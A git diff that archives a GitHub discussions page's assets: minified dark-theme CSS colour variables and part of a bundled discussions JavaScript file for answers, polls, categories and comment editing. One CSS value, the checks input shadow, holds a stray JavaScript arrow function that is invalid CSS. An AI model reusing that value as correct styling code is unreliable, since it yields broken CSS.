#2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const 